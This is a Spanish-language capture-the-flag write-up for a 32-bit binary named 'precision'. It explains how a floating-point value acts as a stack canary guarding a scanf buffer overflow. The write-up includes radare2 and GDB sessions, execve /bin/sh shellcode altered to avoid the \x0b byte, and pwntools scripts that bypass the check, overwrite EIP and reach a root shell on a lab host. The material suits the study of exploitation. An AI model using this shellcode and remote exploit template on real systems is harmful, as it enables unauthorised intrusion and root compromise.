[Resumen]:
Tenemos que explotar un Buffer Overflow protegido con un stack canary float value.
[Tecnica]:
Smashing Stack sobreescribiendo EIP con una direccion de memoria controlada por nosotros apuntando al inicio del buffer + shellcode mod 0x0b + float value(stack canary).
[Informe]:
Recolección de información
Comenzamos analizando estáticamente el código desensamblado del binario. La función más resañable donde se encuentra la vulnerabilidad es en el main()
.
En esta función una vez es llamada y configurar el stack en el prólogo ejecuta una instrucción realizando floating load fld qword [0x8048690]
.
Seguidamente carga el float value en el stack fstp qword [esp + 0x98]
. Luego analizando el desensamblado del binario realiza una serie de llamadas a printf()
, scanf()
y probablemente tengamos un Buffer Overflow (BoF de ahora en adelante) después de la función scanf()
porque no controlora o checkeara cuantos caracteres o «junk» le enviemos en nuestro buffer.
Finalmente en el mismo bloque antes de llegar a un salto condicional y despues de ejecutar scanf()
ejecuta la misma instrucción fld qword [esp + 0x98]
realizando floating load donde previamente se escribio en el Stack y seguidamente ejecuta fld qword [0x8048690]
siendo el original float value del calculo realizado en la FPU. Después de estas dos instrucciones tan relevantes realiza fucompi st(1)
comparando ambos valores. Por tanto, esta comprobación que se realiza cuando se ejecuta despues del prólogo y antes del salto condicional es una especie de Stack Canary.
❯ Ejemplo_
Buffer: AAAAAAAAAAAAAAAAAAAAAAAAAA + 0.245454 + EIP
Smashing Float: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + MEMORY ADDRESS que queremos controlar
FUCOMPI: AAAAAAAA != 0.245454 Security Detected!
Bypass: AAAAAAAAAAAAAAAAAAAAAAAAAA + 0.245454 + MEMORY ADDRESS
Cuando debugeamos el binario y nos encontramos en la dirección de memoria 0x080485a3
y queremos desensamblar la dirección que contiene el float original value aparece su contenido, sin embargo si desensamblamos la dirección de memoria del stack [esp+0x98]
podemos observar que su contenido son justo los valores 0x41414141
ya que con el data o «junk» que hemos enviado sobreescribe el float value y el stack canary nos lo detectara.
Seguidamente debemos saber donde esta localizada la dirección de memoria del float en el stack, y esta en los últimos 8 Bytes de 0xffffd2b0
Explotación
Bien una vez obtenido toda la información necesaria para la explotación vamos a proceder usando GDB y colocando tres breakpoint en diferentes localizaciones del main
:0x804851d
, 0x8048553
y 0x080485a3
Usaremos la salida de la ejecución del primer buffer (ver:exploit) como entrada en el binario cuando lo ejecutemos. Cuando estamos en el último breakpoint y desensamblamos $esp
vemos que con lo enviamos no sobreescribimos el float value: 0x475a31a5 0x40501555
por lo tanto ya lo tenemos calculado para poder bypassear el stack canary!.
Al continuar la ejecución sobreescribimos $eip
con 0x43434343
, eso son las strings «CCCC» por tanto sólo necesitamos de «padding» unos 12 bytes más para luego sobreescribir $eip
. Bien, una vez sabemos exactamente donde sobreescribe necesitaremos una shellcode para poder obtener una shell usando la dirección de memoria que vamos a sobreescribir para que $eip
apunte al inicio de nuestro buffer aplicando «padding» y acoplando nuestra shellcode (ver:exploit). http://shell-storm.org/shellcode/files/shellcode-827.php
Ejecutamos de nuevo y veremos que por algún motivo no escribe nuestra shellcode a partir del byte \x0b
ya que el último en escribir es 0x0000b0c0
. Según lei este carácter en ascii esta dentro de los «whitespace» y no permite la lectura de mas «data» en la función scanf()
, por tanto debido a esto nuestra shellcode falla ya que no sigue leyendo más input. Una solución a esto es hacer mover un valor mayor y restarlo y que el resultado sea el mismo \x0b
.
0: b0 4b mov al,0x4b
2: 2c 40 sub al,0x40
Como el resultado es el mismo simplemente tenemos que coger: b04b2c40
y modificar la shellcode (ver:exploit). Una vez modificada la shellcode, solo necesitamos terminar de desarrollar nuestro exploit segun las necesidades del entorno en el que nos encontramos.
Sabemos que el buffer que nos imprime por pantalla al ejecutar el binario coincide con la dirección de memoria del inicio de nuestro buffer donde realizamos el padding de \x90
y luego nuestra shellcode, etc…Por tanto sabiendo que esa es la dirección de memoria que debemos sobreescribir $eip
tenemos que tener en cuenta cuando desarrollemos el exploit y sabiendo que nos hace leak de la dirección usar en python la función raw_input()
para añadirlo y el problema estará resuelto.
Obteniendo root shell
Pudimos debuggear y analizar el binario en nuestra máquina, pero ahora toca la fase en la que ganamos acceso. El binario vulnerable esta ejecutandose en el servidor víctima en el puerto 1234.
root@kali:~/Desktop# nc -nvlp 1234 -e ./precision
listening on [any] 1234 ...
connect to [192.168.32.129] from (UNKNOWN) [192.168.32.142] 41286
Ejecutamos en nuestra máquina atacante y root shell!!
naivenom@parrot:[~/pwn] $ python exploit_precision.py
[+] Opening connection to 192.168.32.129 on port 1234: Done
Buff: 0xbfc92d98
0xbfc92d98
[*] Switching to interactive mode
Got \x90\x90\x90\x90\x90\x90\x90\x90\x90\x901�Ph//shh/bin\x89�PS\x89��K,@̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa51ZGU\x15P@AAAAAABBBBBB\x98-ɿ
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$ uname -a
Linux kali 4.12.0-kali2-686 #1 SMP Debian 4.12.12-2kali1 (2017-09-13) i686 GNU/Linux
$ python -c 'import pty; pty.spawn("/bin/sh")'
# $ /bin/bash -i
/bin/bash -i
root@kali:/root/Desktop# $
[Comandos]:
En esta sección haremos una explicación breve paso a paso de los comandos ejecutados. Colocamos un breakpoint justo en la instrucción fucompi
y ejecutamos hasta el bp. Seguidamente entramos en visual mode. Por último vemos el desensamblado de la instrucción [esp+0x98]
cuyo contenido en esa dirección de memoria es el valor del float value.
❯ r2 -d precision
[0x0804851d]> db 0x080485a3
[0x0804851d]> dc
Buff: 0xffa3d9e8
AAAAAAAAAAAAAAAAAAAAAAAA
hit breakpoint at: 80485a3
[0x0804851d]> vpp
[0x080485a3 170 /home/naivenom/pwn/precision]> ?0;f tmp;s.. @ eip
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xffa3d9d0 8286 0408 e8d9 a3ff 0200 0000 0000 0000 ................
0xffa3d9e0 9c1a f3f7 0100 0000 4141 4141 4141 4141 ........AAAAAAAA
0xffa3d9f0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xffa3da00 0000 0000 0000 c300 0000 0000 0010 f3f7 ................
eax 0x00000001 ebx 0x00000000 ecx 0x00000001 edx 0xf7ed689c
esi 0xf7ed5000 edi 0x00000000 esp 0xffa3d9d0 ebp 0xffa3da78
eip 0x080485a3 eflags 1ZI oeax 0xffffffff
;-- eip:
| 0x080485a3 b dfe9 fucompi st(1)
| 0x080485a5 ddd8 fstp st(0)
[0x080485a3]> px@esp+0x98
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xffa3da68 a531 5a47 5515 5040 0050 edf7 0050 edf7 .1ZGU.P@.P...P..
Usaremos mejor GDB, y enviaremos por el input que nos ofrece el binario algunos «junk» data sin sobreescribir aún el float value en el stack. También veremos la informacion de los registros de la FPU y desensamblado de sus direcciones de memoria:
❯ gdb -q precision
Reading symbols from precision...(no debugging symbols found)...done.
gdb-peda$ break *main
Breakpoint 1 at 0x804851d
gdb-peda$ break *0x080485a3
Breakpoint 2 at 0x80485a3
gdb-peda$ r
Starting program: /home/naivenom/pwn/precision
Breakpoint 1, 0x0804851d in main ()
gdb-peda$ c
Continuing.
Buff: 0xffffd238
AAAAAAAAAA
Breakpoint 2, 0x080485a3 in main ()
gdb-peda$ info float
R7: Valid 0x400580aaaa3ad18d2800 +64.33333000000000368
=>R6: Valid 0x400580aaaa3ad18d2800 +64.33333000000000368
gdb-peda$ x/wx 0x8048690
0x8048690: 0x475a31a5
gdb-peda$ x/wx $esp+0x98
0xffffd2b8: 0x475a31a5
Ahora una pequeña PoC con radare2. Desensamblamos la dirección de memoria para ver el contenido y smashing stack!! Sobreescritura del float value.
❯ r2 -d precision
[0x0804851d]> db 0x080485a3
[0x0804851d]> dc
Buff: 0xfff92198
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hit breakpoint at: 80485a3
[0x080485a3]> px@esp+0x98
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xfff92218 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xfff92228 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xfff92238 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xfff92248 4141 4141 4100 eef7 0040 f0f7 0000 0000 AAAAA....@......
También si observamos con radare2 tenemos el valor del float en el offset 0xffda4c70
:a531 5a47 5515 5040
❯ r2 -d precision
[0x0804851d]> db 0x08048543
[0x0804851d]> dc
hit breakpoint at: 8048543
[0x0804851d]> px@esp
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xffda4be0 0000 0000 8bcf f5f7 2082 0408 0000 0000 ........ .......
0xffda4bf0 9caa f7f7 0100 0000 10c4 f4f7 0100 0000 ................
0xffda4c00 0000 0000 0100 0000 40a9 f7f7 c200 0000 ........@.......
0xffda4c10 0000 0000 0000 c300 0000 0000 00a0 f7f7 ................
0xffda4c20 0000 0000 0000 0000 0000 0000 00b3 8163 ...............c
0xffda4c30 0900 0000 6e54 daff a98f d7f7 4817 f2f7 ....nT......H...
0xffda4c40 00e0 f1f7 00e0 f1f7 0000 0000 8583 0408 ................
0xffda4c50 fce3 f1f7 0000 0000 00a0 0408 3286 0408 ............2...
0xffda4c60 0100 0000 244d daff 2c4d daff a591 d7f7 ....$M..,M......
0xffda4c70 a029 f6f7 0000 0000 a531 5a47 5515 5040 .).......1ZGU.P@
Colocamos tres breakpoints y ejecutamos el binario usando como input el buffer del script (ver:exploit) y verificamos desensamblando $esp
que no hemos sobreescrito el float value. Finalmente sobreescrito $eip
gdb-peda$ break *main
Breakpoint 1 at 0x804851d
gdb-peda$ break *0x08048553
Breakpoint 2 at 0x8048553
gdb-peda$ break *0x080485a3
Breakpoint 3 at 0x80485a3
gdb-peda$ r < salida
Breakpoint 1, 0x0804851d in main ()
gdb-peda$ c
Breakpoint 2, 0x08048553 in main ()
gdb-peda$ c
Continuing.
Buff: 0xffffd238
Breakpoint 3, 0x080485a3 in main ()
gdb-peda$ x/80wx $esp
0xffffd220: 0x08048682 0xffffd238 0x00000002 0x00000000
0xffffd230: 0xf7ffda9c 0x00000001 0x41414141 0x41414141
0xffffd240: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd250: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd260: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd270: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd280: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd290: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2b0: 0x41414141 0x41414141 0x475a31a5 0x40501555
0xffffd2c0: 0x41414141 0x42424141 0x43424242 0x43434343
0xffffd2d0: 0x45444444 0x47464645 0x49484847 0x4b4a4a49
0xffffd2e0: 0x4d4c4c4b 0x0000004d 0xf7fa1000 0xf7fe574a
gdb-peda$ c
Continuing.
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�1ZGUP@AAAAAABBBBBCCCCCDDDEEFFGGHHIIJJKKLLMM
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x43434343 in ?? ()
gdb-peda$
Si ejecutamos ahora con nuestra shellcode modificada vemos que escribe todo el «data» que nos faltaba y al final nuestro valor coincidente con el buffer 0xffffd238
Breakpoint 2, 0x080485a3 in main ()
gdb-peda$ x/128wx $esp
0xffffd220: 0x08048682 0xffffd238 0x00000002 0x00000000
0xffffd230: 0xf7ffda9c 0x00000001 0x90909090 0x90909090
0xffffd240: 0x46b09090 0x80cdc031 0x315b07eb 0x2c4bb0c0
0xffffd250: 0x3180cd40 0xfff2e8c9 0x622fffff 0x622f6e69
0xffffd260: 0x41687361 0x41414141 0x41414141 0x41414141
0xffffd270: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd280: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd290: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2b0: 0x41414141 0x41414141 0x475a31a5 0x40501555
0xffffd2c0: 0x41414141 0x42424141 0x42424242 0xffffd238
[Exploit Development]:
Escribimos el primer buffer con «junk» data junto el contenido del float value y mas «junk» como flag’s y situarnos bien donde estamos en la memoria.
import sys sys.stdout.write("A"*128+"\xa5\x31\x5a\x47\x55\x15\x50\x40"+"AAAAAABBBBBCCCCCDDDEEFFGGHHIIJJKKLLMM")
Modificación de la shellcode evitando el carácter \x0b
import sys sys.stdout.write("\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x4b\x2c\x40\xcd\x80"+"A"*93+"\xa5\x31\x5a\x47\x55\x15\x50\x40"+"AAAAAABBBBBB"+"\x38\xd2\xff\xff")
Exploit remoto final.
from pwn import * import struct p = remote('192.168.32.129', 1234) print p.recvline() a = lambda a: struct.pack("I",a) eip = int(raw_input(),16) exploit = "" exploit += "\x90"*10 exploit += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x4b\x2c\x40\xcd\x80" exploit += "A"*93 exploit += "\xa5\x31\x5a\x47\x55\x15\x50\x40" exploit += "AAAAAABBBBBB" exploit += a(eip) p.sendline(exploit) p.interactive()
[URL Reto]:
Un saludo, nos vemos en la siguiente entrada!